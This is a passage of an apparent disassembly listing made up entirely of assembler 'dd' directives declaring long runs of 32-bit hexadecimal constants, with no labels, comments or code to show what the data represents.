		dd 12CAF77Eh, 62BF5D5Ch, 425769A5h, 4CFC4EC0h, 611292D3h
		dd 5835C3h, 0F4542E3Fh,	0DA00B91Ch, 0F761B141h,	250F49D1h
		dd 7E54AE85h, 281DE181h, 8AF04355h, 0B8E74A46h,	4FA090FDh
		dd 0BFD216B2h, 74A87D85h, 9057582Ch, 3B5B3B27h,	0D210CC7Ah
		dd 1C7A3BBh, 6D90B951h,	9E702D54h, 0A17F16B7h, 0AF460347h
		dd 0FC03312h, 3FF58B87h, 0DFE175BCh, 0EFB32BBAh, 4825CC4Bh
		dd 0EF2F7541h, 0EC807603h, 0B944E1DFh, 68BCCC6Fh, 713EA72Dh
		dd 959ACC3h, 9A011756h,	20540E38h, 6D09EDD0h, 0F852B361h
		dd 6AF0ADh, 2949921Ah, 2AD3E9E8h, 80B25995h, 515AF030h
		dd 802E2EB1h, 832079C1h, 3C083EF3h, 0F322AD62h,	0DF097625h
		dd 5A24257Ah, 0B6601C37h, 0B7EE8073h, 620A5150h, 0F5E011E9h
		dd 3EC97B25h, 27CF281Fh, 56EECD5h, 0CC5561C3h, 83D4EB03h
		dd 2CF90812h, 95A2299Fh, 874CB016h, 5FD3CE2Fh, 126971A5h
		dd 31DFC1FEh, 42042AC3h, 2D00BD9Dh, 6B9E7975h, 89F36595h
		dd 65DCEB8Eh, 9782246Fh, 55DE1992h, 0F05874F4h,	62A39F22h
		dd 1B53B6Dh, 0D685375h,	0B3B23E1Dh, 2BE6EED2h, 7A5D7192h
		dd 6F92A1Fh, 0D8285A01h, 60A5045Bh, 1B65C7A6h, 1944B872h
		dd 1071CE3h, 80B27FDAh,	40478F66h, 835E18FEh, 24573D5Dh
		dd 0B0FA7D52h, 42B770ABh, 90F9F7D5h, 57E93CE7h,	6068C618h
		dd 0E87B3E62h, 0D3FE6954h, 2E5E3DFh, 12EFF74Dh,	0AE610663h
		dd 38B80C21h, 418940E5h, 710ED8F7h, 2560560Fh, 6E98C581h
		dd 2C44092Eh, 0F73C3F09h, 0E6499B44h, 0AF277D70h, 8B72511Fh
		dd 63EAF545h, 2F26FC5Dh, 7A09DE54h, 0E6BBE8C4h,	20F62723h
		dd 0C2CCABF5h, 580C041Bh, 0F14109C0h, 5FF1B05Fh, 0D08D8478h
		dd 0C0467365h, 8E9A2850h, 22EA7A4Ah, 0C6F62E72h, 0A539D525h
		dd 252869FEh, 27517652h, 82C655h, 0D02028B8h, 7230050Fh
		dd 0C121B62Eh, 0DF663D02h, 1EB6E03Ah, 6C75091Ah, 0C9F54CE9h
		dd 133B57CFh, 4BA0BFB4h, 0BBBC4D25h, 5A048548h,	0AE41EA68h
		dd 0E24450CCh, 0E9120888h, 310B2527h, 6FA859D9h, 0DAF107C9h
		dd 2D6E52CBh, 305CEF68h, 0E4B6E9E1h, 348EA474h,	0EA90BE52h
		dd 0C083AEBCh, 64CF03E2h, 0C517ABA2h, 0BDF0DFB0h, 2CA7DB63h
		dd 0E917AE10h, 0C6C86584h, 9AA7F256h, 77B904ECh, 0AA747343h
		dd 0CA5AE6A8h, 2FB557D3h, 108AF7C6h, 0FDD3096h,	2949B889h
		dd 88627E29h, 0F122410Bh, 8F5C0B96h, 0BB763283h, 8AAECE4Eh
		dd 0D8788472h, 0D920BFCh, 6E3DE632h, 0C25CE8FDh, 0DC61BFB4h
		dd 0EC3BFC44h, 4A89DEF1h, 8B98F513h, 578277E1h,	0F7729DFCh
		dd 7C80BC48h, 62AAB625h, 6231802Bh, 35595135h, 0FE326647h
		dd 0BDCA70B4h, 0F868E781h, 0C6312E08h, 0B600F526h, 882553B5h
		dd 244C5EF7h, 91BA64C3h, 7AF828F5h, 86683802h, 58C796Ah
		dd 0A8E4E9D1h, 460D009Ch, 0F792768h, 86222A82h,	0C5E831C1h
		dd 0C0B0C83h, 2FEEF255h, 0FBDEDA1Fh, 0EBFD1619h, 44C7B3Dh
		dd 5341805Bh, 34CB652h,	6092455Fh, 9BD6736h, 995B5F7Ch
		dd 29F68984h, 0B4D9ECBBh, 556ECA4h, 0AF02E968h,	4E01EA05h
		dd 0D420DF8Fh, 783C63EDh, 0E95B5416h, 43049207h, 0A0A95D65h
		dd 56573E9Ah, 0E7E90602h, 0F779FD24h, 28EADAEBh, 49A1FB7Dh
		dd 4A2E0202h, 655C0009h, 0F67DDE73h, 4F9561ACh,	4FEBA1Bh
		dd 7738EF8h, 59C94DA2h,	57889B01h, 8B82408h, 0C424A56Fh
		dd 73662802h, 0A0CDFC24h, 9592508h, 0FFF123C0h,	1F5B7F16h
		dd 0D25497EAh, 0F66629C0h, 0C6006590h, 0B8338456h, 23C21D9h
		dd 5F613539h, 1C02354h,	0F4656CE9h, 9D074BA6h, 77C43141h
		dd 9E107A14h, 77682D0Eh, 7EFE3889h, 1B8357C9h, 0E6EF2EABh
		dd 44F81101h, 5D710CA4h, 0C63152A0h, 0ADEFE5Eh,	0CB8DE85Ah
		dd 0B87CE119h, 5C9E4120h, 0D520020Ah, 2CFD3FA2h, 4003AE8Ch
		dd 392E0D3Dh, 3501E176h, 233B7C52h, 52A4D5FFh, 0CD2704F3h
		dd 0EA297E11h, 580149D8h, 4C018BD0h, 0F708AB23h, 44DC20DDh
		dd 80437F3Fh, 0B62DE0D1h, 97273A6Ch, 82491356h,	5899E9D9h
		dd 0C7812D8Fh, 0F66F36DFh, 67197C1h, 0C7D85569h, 610E7E4Fh
		dd 66712B68h, 954A9063h, 46EBC0DCh, 12C603EBh, 178411Ch
		dd 47784B4h, 9089E908h,	6EF480EBh, 55E1EDB0h, 0B3AB9Bh
		dd 2402A810h, 0B508A289h, 5A742F45h, 4397509Eh,	0F23B6BA1h
		dd 49ACD3A2h, 0CCBDE90Bh, 40858656h, 0DA000F86h, 0F3831454h
		dd 0BFDE5689h, 3E85BB07h, 0F901F78Ah, 0CA803646h, 0C64B61BEh
		dd 24863CE0h, 8064821h,	51015753h, 0C8885BB1h, 0BD2DC3E8h
		dd 97A83256h, 0D01EBE0Ah, 0FB03BB02h, 518B83Eh,	1B19EA18h
		dd 0E800FF01h, 52C23160h, 0C8559C29h, 3059170Ch, 0F29FE95Fh
		dd 0FCBA66C0h, 2E6FAD3Eh, 849E2C1h, 53000E0Ch, 8D4AA868h
		dd 96E9DF73h, 5DA443D1h, 0B3C05255h, 919DFEDCh,	906A57A3h
		dd 8F341A8Dh, 0CB814E00h, 72C81B47h, 0A8DB5EF7h, 4F415BBDh
		dd 419A39FAh, 160AA020h, 0A8BE6DC6h, 3082A4A6h,	2A22FF25h
		dd 3E796D4Ch, 0A001C188h, 99D8098Ah, 14DECF43h,	79D09889h
		dd 9D6988CCh, 5CB5614h,	45712B54h, 0F726DE82h, 0BE024067h
		dd 41A66456h, 0FFF9441Bh, 86F155C6h, 35ADE9C1h,	0CB08D06Fh
		dd 0C93E690Ah, 0F5882A5Dh, 0F553C1B7h, 0BD1115E4h, 0A568DE98h
		dd 5BD87F5Ch, 0A85E588Bh, 56A01039h, 7E2D116h, 9130E4Bh
		dd 1C604CDFh, 0DD56D589h
		dd 0AFF056EEh, 8DCA24D3h, 9909D716h, 8E3A0466h,	5029B7FFh
		dd 9395DF01h, 0EF81660h, 0AF52259Eh, 5C3534C0h,	0BA3C1AA9h
		dd 0E45F0B39h, 0C9B2B400h, 0C5E98D02h, 51590E78h, 5F59C94Dh
		dd 5D5AC4F9h, 5E4ABE78h, 0A262A0CAh, 5041098h, 47EDAB5h
		dd 9F91A98h, 257F8058h,	29B6F89h, 72A7350Ch, 25C32B74h
		dd 8EC8A2B8h, 42E0D14Eh, 8F20496Ah, 4CAEFD5Ah, 7EC44B50h
		dd 4B3847FEh, 536F68BDh, 61E9A3C0h, 0D9F6A9ABh,	7B88FBF0h
		dd 34E64ADAh, 62A2010Fh, 0F80EC529h, 1CDC48A1h,	0EA98FD2Fh
		dd 0EC4F8850h, 0D24179FCh, 75F6A32Bh, 0FEB64916h, 68EE60FFh
		dd 0B4023B8Bh, 92E95F1Fh, 8DBADEAEh, 7BF05770h,	8403DBCh
		dd 68591F5Ah, 617C2FE0h, 14D72958h, 35DB91E9h, 460E8C95h
		dd 3E19744Ah, 2EE90C21h, 432FCE7Dh, 26B94CC1h, 145AF057h
		dd 2DBF2FE1h, 9A32A09h,	205768C9h, 60055DF9h, 78D4121Dh
		dd 0EBB0BA2Dh, 80214BE9h, 7E3EBD56h, 0A2E1B2Fh,	8F059AF8h
		dd 8BAAA222h, 11EE10DEh, 5F4E89A2h, 0BC83979Ch,	42E6165h
		dd 27824D0Ch, 813DC56Fh, 203CE08Eh, 0CBA8E8AEh,	7D82C5FEh
		dd 26B8F3C5h, 5E0862D4h, 17E92513h, 94162AB7h, 34F2AABh
		dd 0FB0F462Dh, 2C61F028h, 0E1175A88h, 0CA070765h, 9802411h
		dd 98D7FD19h, 0AA5067FFh, 9CB10296h, 0E87E7745h, 0DC15A10Bh
		dd 1EE90BD4h, 0E62514DEh, 275C7C6Ah, 3975D0F6h,	0EA651A2Ch
		dd 8871A32Ah, 0CDE00814h, 4966804h, 8251DABBh, 77518D68h
		dd 3F855199h, 0B4C525D1h, 83C3717Eh, 730B3FEEh,	81A7297Bh
		dd 51EA0108h, 0B53C48EDh, 2469EF4Eh, 96258938h,	0EEB58DF0h
		dd 717E974Fh, 0E9F18638h, 4261970h, 8D12F3BFh, 9AA4EF34h
		dd 5860B055h, 51C25A82h, 255F189h, 75015E59h, 0C5FF2D09h
		dd 0E2E9046Bh, 0F2F3BEF1h, 7C7C51CBh, 9F64DE58h, 96BD89FBh
		dd 96B4CA0Dh, 6420177Dh, 4E536001h, 575F8E0Fh, 0E9965C80h
		dd 32FB6FC6h, 66C33122h, 9A0B9077h, 0B873D213h,	218C10CEh
		dd 8AD4B24h, 5FAD3AFDh,	0F3140398h, 51D84082h, 685580F7h
		dd 0B844212Ch, 20B2DC0h, 0E681006Dh, 7CB1D97h, 0F25308E9h
		dd 0FB0104A2h, 0CDFB1868h, 7C67E090h, 146E5C9Eh, 0D3E084A4h
		dd 0BB4A3214h, 0E91688CBh, 8B28AAF5h, 327F4E4Ch, 1254FE9Ch
		dd 4D075F25h, 0BF8DA441h, 18FC3317h, 0D841D2ACh, 3AE9E16Eh
		dd 6F522DEEh, 4F364B2Ch, 7B7F3A0h, 6C6245D7h, 0F2B9C7D2h
		dd 617A9F32h, 0A65EFD90h, 0C11B62B7h, 724A2B75h, 124CC5ABh
		dd 0C5DFBF53h, 97FE8550h, 0CA5D92EAh, 0B60941F1h, 51645902h
		dd 72BD57F4h, 0B2F83443h, 9BE9BF34h, 46D5CE1Ah,	7232F45Dh
		dd 0E115657h, 0AB170AB3h, 9F134298h, 2D609A6Ah,	0B28683Dh
		dd 440AB15h, 2D057AB3h,	78515B84h, 0E4C08C80h, 5FC48008h
		dd 0D229AAFFh, 76E97F1Ch, 0DAD9B718h, 9071B42h,	60D68C62h
		dd 9F79DD72h, 0C3F17C52h, 5A607A78h, 0D25F6D28h, 0B8D9806h
		dd 14566483h, 0BF0D5280h, 7A029D31h, 7E683225h,	0ED394063h
		dd 67F02037h, 3C765A60h, 763F0760h, 852D029h, 0AF71D14Bh
		dd 85F32F23h, 48C1680Dh, 7C6F9E1h, 13F94EA5h, 9CDA9B2Ah
		dd 505301DAh, 0E151A7B4h, 0E9EFE8E5h, 5E81902Fh, 61EE60C2h
		dd 0E89D27D5h, 7E23F46Ch, 4B5B9792h, 14F10CA0h,	0D1BF1C13h
		dd 2F4DF80Bh, 0E1FF93DDh, 189568E1h, 2577B7ADh,	0AAFE2914h
		dd 20E1DD5Ah, 0E9095051h, 5B9DF312h, 0C4BBA6DEh, 0FCE96002h
		dd 6630C180h, 0D0069A25h, 0EA48782Dh, 0E9C70520h, 33916231h
		dd 0FD2A5BDAh, 0EB8750F1h, 0FFE2925Eh, 2A52EF80h, 0C6B808D5h
		dd 4226FA0Bh, 0A098DE7Ch, 0F7F08008h, 4C9A2554h, 0F4F9A1FDh
		dd 68933315h, 5F2DF07Bh, 50765669h, 4EFBE8Dh, 0E3706968h
		dd 0B13118BEh, 4A3BA2Eh, 947282Fh, 0AD61EAD1h, 0AE04B47Eh
		dd 0EC97FBB2h, 565F2758h, 0E0D14126h, 257D7083h, 462519ECh
		dd 3A80774h, 0C19D02E2h, 0BA067961h, 3D69703Eh,	625BAD43h
		dd 0DFC5559h, 0FF59539Ah, 38BAADD3h, 905F13BBh,	24113904h
		dd 7C3C10Fh, 4ED1FB87h,	159D3F0Bh, 1D132051h, 147B36Fh
		dd 54896A93h, 45267C29h, 0F35F0C40h, 0DD24085h,	0B4B20B0Eh
		dd 48945550h, 42815164h, 13241A7Bh, 0B3EB8CEh, 1D3D07A0h
		dd 56098805h, 89D1EABDh, 660162F5h, 69138931h, 6093E0B0h
		dd 10D1833Dh, 58268743h, 4684D908h, 0F74E36FCh,	0D4A9C9A4h
		dd 96D727CCh, 0BCE916E7h, 0CBB5EC40h, 7D9BD5FBh, 5220179Eh
		dd 0E42D07F0h, 331D1405h, 75927B48h, 7833350h, 0FB1152FDh
		dd 0EF61E4A5h, 4A505763h, 2A1F4164h, 0C195CD04h, 6B61AA12h
		dd 68005378h, 0C5073B61h, 0DFF75F73h, 45CF49D2h, 9551259Eh
		dd 0BB2D5A52h, 0F0E984A7h, 548F981h, 0CB87D1F7h, 5CD05882h
		dd 0C54FBC80h, 0F864814Eh, 8F73AAFh, 4D71373h, 52FDCCFBh
		dd 0E913B604h, 44AE1FADh, 0BEB03D66h, 1D373B2h,	38E5507Dh
		dd 62EB3B28h, 6A7D2D4Dh, 0E6565E3Ch, 801EA2FFh,	0A80B34E5h
		dd 0A314E411h, 5B0B3CD6h, 7942DA9Eh, 25BBCDBh, 7589B1F2h
		dd 25A07637h, 0B5B0B4D7h, 0F64B1579h, 0CDF75ABDh, 0C8010571h
		dd 0E9C54F59h, 46474ED3h, 0ABE685C5h, 0A96ECE44h, 2792CBFAh
		dd 8A91817Eh, 129752C2h, 2FE8F15Ch, 8BA462BEh, 0C55BB078h
		dd 0AAD34DA2h, 0F2E9AC02h, 24F1D1E3h, 44B3081Dh, 66C573Bh
		dd 0E47F55B9h, 0C9B820BAh, 9F27C995h, 0BA15007Eh, 285347BDh
		dd 560B0990h, 0F5C080D6h, 7539ACC1h, 8EF82B0Dh,	1E4588A5h
		dd 0FD15E909h, 0B70D1CFEh, 1E804C7Ch, 2969D9DEh, 202790E9h
		dd 682D30DDh, 0A24E30B7h, 0FB1C4A2Ch, 1FE69CD0h, 79F73919h
		dd 1570D625h, 2B68561Dh, 8BAE4B38h, 0E305E2Fh, 40D6E957h
		dd 0E8B55DABh, 825678F1h, 0D17913D5h, 8F6A52B2h, 38BE4B0Ah
		dd 1C256875h, 556981Dh,	2A5B81CFh, 0F7C3C763h, 7C8706Bh
		dd 885B762Ch, 0B50AA2C5h, 2F7427CAh, 0CC75DB02h, 2D06082Ah
		dd 900ACA78h, 0AB77A405h, 0E39DE986h, 0D43FF3B1h, 17ED82Fh
		dd 0BE56D901h, 30982FEFh, 1835E930h, 0C749E34h,	2258B4C0h
		dd 0F15234F7h, 84BCBCAAh, 99AAAEFEh, 0C243FDD9h, 52647657h
		dd 4668E540h, 2DE93240h, 6B52F6F3h, 0FEEB4A13h,	30F4C9AEh
		dd 0E0EBFC3h, 2B414626h, 0AD38181h, 8ED50F2Ch, 0BEA1123Eh
		dd 0AB4F578Ah, 4D7DE498h, 0F33C1B9Ah, 126B34Ah,	0D0F7585Eh
		dd 93FB3196h, 0E90812DEh, 7F73B1F6h, 7385BF2Dh,	0BB61E4E9h
		dd 0E628F588h, 35527C66h, 0BCCAD4BEh, 567C7ABFh, 9C58ECF4h
		dd 3FF13E81h, 2C212E5Eh, 55479F3Fh, 5C9BD07h, 71EE07D9h
		dd 3FF50AECh, 0E4503A67h, 1813C007h, 0CE19E960h, 0BA40B59Eh
		dd 4CAF6C23h, 0CF057B3Fh, 0EF10D21Ah, 2FD4704h,	0AADEFA12h
		dd 15208C4Ch, 0D134879Fh, 1929639h, 0AB543CB8h,	2416E951h
		dd 0D5975860h, 4690E51Ch, 0EA6E6F20h, 42E29707h, 2569DD5Eh
		dd 19942F98h, 1C92A7EFh, 31203C38h, 1D49B30Ch, 0BF226BA6h
		dd 6CFFCABCh, 29649D83h, 6B352851h, 9F2550A4h, 4F5DAB89h
		dd 303F2469h, 6BEC6815h, 5D2F2925h, 40172344h, 2322FEEDh
		dd 8D595E30h, 0D418ABFCh, 7FE93270h, 49DF4AA9h,	5CC80E94h
		dd 4303371Ch, 8E0F4615h, 0F3FFB49Eh, 0D931C662h, 0D8C60539h
		dd 0EABA7A94h, 0D629B030h, 99B905Ah, 554F0205h,	1200A856h
		dd 3134E99Eh, 3D597ECEh, 443D0DF8h, 0D368BF27h,	31FAD2E1h
		dd 1991303Eh, 0C3198A74h
		dd 195F42Fh, 575EF5EDh,	0C8F749C4h, 3F5A1EC2h, 6B71B0Bh
		dd 0BDF229F5h, 4181114Ah, 484DAF6h, 0BB1EF280h,	0B5C5A1FCh
		dd 81F08468h, 0DB0FCDB2h, 4B87F894h, 6AF192FFh,	0F60A76FCh
		dd 0D10A95DDh, 0E9090807h, 0BF58504Fh, 492FDCh,	0FE17A685h
		dd 0E581022Dh, 58E36892h, 82625E5Dh, 63BC6E11h,	85C9AC40h
		dd 508CEF27h, 4518BE17h, 0DAE00058h, 816E152Ah,	0B44EB1Fh
		dd 410863D3h, 0CABA3DC9h, 6A097A87h, 9DC2704Ah,	2EE3102Eh
		dd 0CA4E32B2h, 7E0905C3h, 13FB711Fh, 2A8CF162h,	0BA67AFEh
		dd 224901E9h, 85D1A96h,	685027C0h, 15DE5B5h, 8FE155BAh
		dd 0BAF2EADh, 4A5AC490h, 4662857Bh, 9950A57h, 6C9982DDh
		dd 442DA9h, 5CD66A9Dh, 0EE298004h, 95BBD5E9h, 0BF9613AAh
		dd 683DFA8Bh, 1EDE73C8h, 727EEF23h, 0DFC28562h,	0E783C0A2h
		dd 57428C7Eh, 7058DD52h, 8E53B721h, 7A25CD81h, 505EE0F1h
		dd 801EB801h, 0C529FA0Eh, 0F42F013Dh, 61025689h, 3305C002h
		dd 0D5E846AFh, 0CD20F72Dh, 72CB075h, 10EC2250h,	0E418720Fh
		dd 9FE5977h, 8E5C9CE9h,	98385913h, 0DD0A0363h, 0EF1FE945h
		dd 3DEA5338h, 95103D12h, 4FA87391h, 0EC3FE8A1h,	0C2EC51DDh
		dd 0C2B41957h, 2BA8FEFDh, 0FC125BDDh, 0C26FA763h, 0C187F87Bh
		dd 2292B2A8h, 8A08A05Ah, 7F313440h, 0E04325F7h,	0A0120F66h
		dd 0B6FAFEA9h, 68682D7Ch, 7DCEFECh, 106F62Ch, 8548EC7h
		dd 4F25334Eh, 0EBFF1A0Fh, 72096B9Ah, 136C1D01h,	31299EDBh
		dd 9DD5AB6Eh, 12D3C87Fh, 0EB885580h, 0CC681259h, 155F4435h
		dd 0B3A2AF10h, 985D5CC9h, 62A2688Fh, 2323574h, 34CA750Bh
		dd 75116A5Dh, 0E8BF54DAh, 82C5ADB1h, 27C2507Dh,	3271E83Eh
		dd 7F095B12h, 2D086506h, 4611A2DDh, 84000997h, 12390258h
		dd 385A99F6h, 5D653ECh,	8988BA0Bh, 0EC92C98h, 5E7D7A3Fh
		dd 75044410h, 0BB6A2E5Bh, 0E52192F1h, 4C290A01h, 985908E8h
		dd 0F71D826Ch, 0E932D3C4h, 0FD5A7504h, 12658E89h, 17100724h
		dd 0AF30944Bh, 82E24751h, 0F7220A68h, 0F7A74A45h, 31AE0682h
		dd 42827157h, 1DDEDBF6h, 17F2662h, 3A51C888h, 9BB0A0C5h
		dd 0BEDC401Eh, 1C2E7F09h, 5AD8007Eh, 414B3Dh, 5954EB0Dh
		dd 907D0509h, 0E97925FAh, 0D6B5B79Ah, 0BF52E592h, 0AE2B757Dh
		dd 0B97D853h, 62AD2B66h, 39492CBh, 0C146801h, 0E773F7C2h
		dd 0E0B5E989h, 1E440C88h, 6488830Fh, 8040F17h, 0A2FB4BE5h
		dd 79BE01D8h, 31B14D05h, 1853A97Ah, 0BA249021h,	145B702Ch
		dd 9DD2F778h, 0C478BC4Fh, 12AE0768h, 272EEB4Bh,	0E8BADA61h
		dd 7042F149h, 9B91D1B5h, 710FD727h, 0D5160DA5h,	680F0313h
		dd 0D9276A73h, 0B72650D9h, 20F32FD4h, 9F90385Ah, 109944D1h
		dd 7BDF1B9Fh, 0F2CE75BEh, 0EF92DFD5h, 0E0C0E945h, 18029B04h
		dd 2F02010Bh, 4009E540h, 96EE35BEh, 4D7DC22Dh, 48C5DD1Ah
		dd 0E8B59044h, 0ED54C861h, 9A91F2BEh, 68B0DD08h, 30C3A718h
		dd 0C32FC580h, 8AB924ECh, 0C4024695h, 0A356098h, 0E3BB676Ah
		dd 0E32FC50Dh, 0F8B97A89h, 6196F7A4h, 7E210368h, 8C9F00B3h
		dd 5ED16DF6h, 133B4341h, 347EE6B5h, 81FB87ADh, 0B8EB89FFh
		dd 69DA74F6h, 0DDC38750h, 0E3D4EC27h, 95284DF0h, 0F16A937Ch
		dd 0E619E70Bh, 91EA4C24h, 5CE9CD05h, 1214BD3Bh,	8AB2F2D3h
		dd 99703F89h, 77FD2C2Fh, 0CBBE3014h, 2E138D96h,	2D40B7EBh
		dd 20D0E4AFh, 8700A655h, 0D2F681EEh, 0EC32E26Bh, 663412CEh
		dd 1A01FED8h, 270A6C93h, 0A01A93Fh, 885A6AE9h, 7E1298A6h
		dd 384ED1BCh, 3427E9FCh, 92FE4B7Fh, 1C806C67h, 8E6D4833h
		dd 0E3B5D6E9h, 13BBF95Ah, 71FEA446h, 31E78ABAh,	45ED60F6h
		dd 23ED775Eh, 13171A9Dh, 688081DFh, 0A0236DFCh,	748B987Ch
		dd 0C6813B30h, 0DAC94FBCh, 502D017Dh, 31685A7Eh, 0C571780Ch
		dd 4488DEFAh, 0C83013F0h, 0ECF10D05h, 0D123E0Dh, 23D28C00h
		dd 904D0FDDh, 0BFC2881Ah, 4A6576B5h, 1801F826h,	0B918F451h
		dd 0CB5728A3h, 7DC425F7h, 0AC535C56h, 0A58044h,	7A0997B8h
		dd 4A5AF47Bh, 0D363F486h, 5FA20995h, 65692566h,	541C7537h
		dd 365800E9h, 0F2CAB708h, 604FF955h, 2EDBBF57h,	4C418648h
		dd 72245E8Dh, 0D8EA0FD4h, 0A7487AFCh, 2A12DE3Eh, 0D4BD7280h
		dd 12512F58h, 8902BBF6h, 5D651B31h, 2D88EBCBh, 0F6970663h
		dd 0AA321624h, 858D98h,	812C8274h, 0ED271ECBh, 0D3F7281Ah
		dd 81805710h, 7C8B0F50h, 0E657325Eh, 0AD597A07h, 3F301C98h
		dd 0A7D99D7Fh, 6B95540h, 80174F4Ch, 49422800h, 8C0F1609h
		dd 42895592h, 5A6EEC55h, 0AAC3C457h, 0AE1F6EF6h, 14BE23BAh
		dd 93CA0A8Fh, 0E9F6A4BFh, 0CACA693Dh, 174DC3C8h, 0AA7F912Ah
		dd 64E42042h, 0FB5EE0A5h, 0BC3C528Bh, 0DD319B4Ch, 0C9D1313Ah
		dd 87088ACAh, 8318BDAh,	56BD5E9h, 0A31B04DBh, 0CE0E784Ch
		dd 832CD028h, 0B972B151h, 0DFDA59C8h, 0C702BC85h, 5258602Ah
		dd 8005C2B2h, 25E9A1EAh, 0DB4E4DFCh, 0DD5E270Eh, 0F124D1Bh
		dd 7D5777E9h, 0C8EB1D16h, 6C76B52Eh, 0AE9235Ah,	0B9F50841h
		dd 0F353406Fh, 58616B55h, 59970FF6h, 4C5C4B80h,	40F9F62Dh
		dd 0BE6C717Ah, 4798014Ah, 0C1E8C221h, 74500CE8h, 0C665F074h
		dd 56A2DE09h, 0A105BE5Bh, 0FFD6BFFDh, 65C90BF6h, 48012091h
		dd 60A67AECh, 0F9A9A206h, 0ADE82054h, 1890FD41h, 56F75EA3h
		dd 498E053Ch, 9AA10F91h, 6B3A752Ch, 7023284h, 7A1E23E9h
		dd 0F0870973h, 0C07712D9h, 0B7A0B96Ch, 0A9A2DEE6h, 590545Fh
		dd 0FE425A68h, 806B3B99h, 8947F9Ah, 31E5810Fh, 383FEC11h
		dd 43301F8Ch, 61ED012Ah, 8266CD27h, 0F61A570Ch,	4089FFCBh
		dd 0E966B155h, 8C2E3AF1h, 0C7502E6h, 0AA20677Dh, 0BBCA830Fh
		dd 0BAFEB2B1h, 5BC3E8D6h, 0B9512550h, 73B909D6h, 76B3A55Eh
		dd 0B4667812h, 8412BBC9h, 0FB26326Eh, 3C6B0596h, 0D5B0E9A9h
		dd 8901EF99h, 29377812h, 0F739B03Bh, 2B000DE6h,	0F309E02h
		dd 9C0A818Ah, 60DCBD8Bh, 0C25ACB26h, 5207BA76h,	2039EE3h
		dd 0A8882DB4h, 48F5151Eh, 0B5EAA41Ch, 0AF5748CAh, 7FEFD41Ah
		dd 22A9CCC4h, 0E3004709h, 7CED75E3h, 5FFE0109h,	0B8797D29h
		dd 7DC913ACh, 5C0035F1h, 4BE9965Bh, 0B2FE58F2h,	2DFAB8E0h
		dd 7649302Fh, 549333A7h, 2878DDBAh, 0C9692CF8h,	289093Eh
		dd 0BB817AEh, 0C9E65342h, 43A1D0Ah, 200B732h, 0E93DD30Bh
		dd 0BCA55A59h, 0FEA2B6EAh, 0AED5801h, 86205CD4h, 10ED70B7h
		dd 0A1FEEE16h, 0C60002DEh, 6B9AD5C1h, 0E2FBFC97h, 84F409E9h
		dd 8AC40C96h, 9F6E3EAh,	7DFEA1F2h, 5C9F1614h, 1A5E72E2h
		dd 0D3AB6809h, 619909F2h, 97BC4757h, 2FC4725Ah,	4368D5E9h
		dd 15D9590Ah, 0CD218B09h, 0BF22C6FAh, 502F3354h, 872BA069h
		dd 0F0FBA35h, 0EEBA22DDh, 0E30AFC46h, 0B4C42C58h, 0C80F60EEh
		dd 314ED0E9h, 0B12C1AA3h, 48D5A5B5h, 0F3B02A10h, 0E0A180Eh
		dd 9F4A5E10h, 76C54A7Eh, 0D15CB549h, 6FB1626Bh,	27DF00F7h
		dd 4FE9E7D0h, 82F3D814h, 417E110Bh, 80E85E09h, 16DB5201h
		dd 0B3EECB29h, 7F9C09BFh, 0A1A780C7h, 444952E3h, 4113BA2Eh
		dd 94D0C7C8h, 184F185Eh, 3F25EC42h, 0A400D0EBh,	0BB79B7C1h
		dd 256DE986h, 20C3983Ch, 0C9F6B153h, 5B9FA0B2h,	9F7A02Dh
		dd 753F1F96h, 82C1785Dh, 841B7408h, 0EEFF602Bh,	0E9A84AACh
		dd 0F6D4F127h, 0C068503Bh, 0D6D4444Ch, 26BFA402h, 0B1DF41CAh
		dd 0C4EF9354h, 902AC253h
		dd 33CB94D5h, 0E1C3F73Dh, 17F21A0Fh, 48DCFA77h,	2DFB314Fh
		dd 0ED54215Fh, 4E21B096h, 0A3623F14h, 5BF8029Ch, 0C1E1D828h
		dd 0A980040Eh, 7B744BA4h, 5FC2291Ch, 0C80F40DFh, 4F5F6C68h
		dd 0A0F23E37h, 20E666FEh, 9DB00267h, 5D82D7E0h,	5BE700DEh
		dd 0FFC28BAEh, 1AC2E2Eh, 72B7B206h, 0D6F21D6Dh,	0BFB1D8E9h
		dd 0B30DBBF3h, 0E601AB6Ah, 2EAFCCFh, 48883B29h,	7846BF60h
		dd 203AB3Bh, 205C66C7h,	1586DEF5h, 3D099C5Dh, 0BD745A75h
		dd 0B7005212h, 4DC570E8h, 78CA5889h, 4064F926h,	75AF7CAEh
		dd 1EEAE3ECh, 18C164FAh, 288F60F0h, 0A0293Fh, 627CB7A2h
		dd 8BB00B5Fh, 11022F75h, 83E289C0h, 3C260109h, 42AF8B0Fh
		dd 2EC2DFA4h, 0E98B1C74h, 778CE2C8h, 0C901EBD9h, 4D5F7C55h
		dd 4E0FEE40h, 0FA924FF2h, 0ACBFEF24h, 31D3A199h, 79C08C3Bh
		dd 0BF64F740h, 9F472F82h, 7168DF0Bh, 0D34A3034h, 1397CAEFh
		dd 404BF653h, 2FEB74A6h, 23600864h, 2FD76849h, 0A8565E36h
		dd 66170030h, 81E93713h, 238B7E4h, 3017E668h, 0DCBB5A86h
		dd 7B90521Dh, 5413429Fh, 0C5417250h, 66F5F2CBh,	674F0996h
		dd 98042F52h, 27ACE719h, 6429F957h, 0CCBE1283h,	6B4A7A92h
		dd 0E9C68EF2h, 0C012598Eh, 710406EEh, 0B4919439h, 0EA056011h
		dd 0BE4B2EA6h, 0A7D0B6CAh, 0BD23A6C6h, 36CC902h, 83415DBEh
		dd 9A187AFCh, 44C0DFA8h, 18064FEh, 225D9FDAh, 723C2D34h
		dd 0D7244097h, 5D5C0B9Dh, 0F4B7CF9Eh, 6F6EB43h,	7071E9C2h
		dd 0A7594BB8h, 2288760Fh, 215E809Eh, 6F5A5AB0h,	75AA4317h
		dd 0E431EF9Eh, 8C3A9E08h, 0FAA0559Fh, 3ACB6F5Bh, 0ACA17C58h
		dd 0EE99BE6Ah, 0F0D0F1F9h, 0E9C98812h, 98137249h, 343C3042h
		dd 7182F10Ah, 7CB96CFFh, 83B88026h, 0CFDAD752h,	652A6814h
		dd 0E3E9B0FAh, 5D80C9A8h, 819DB857h, 15CF09EDh,	0C50A2320h
		dd 16853A30h, 0A04F3A0Fh, 5CBAFEF7h, 2F8A5A9Fh,	0B2D858C6h
		dd 97BE5621h, 9680AAEAh, 95225DE9h, 51C70859h, 0FA8B0F4h
		dd 1053542Fh, 0D508750Ch, 3A474195h, 4A562ABFh,	98AE8B34h
		dd 0E54F8AD1h, 0AFE58CF8h, 1A82EAF5h, 0C7205BB0h, 0AC3245F5h
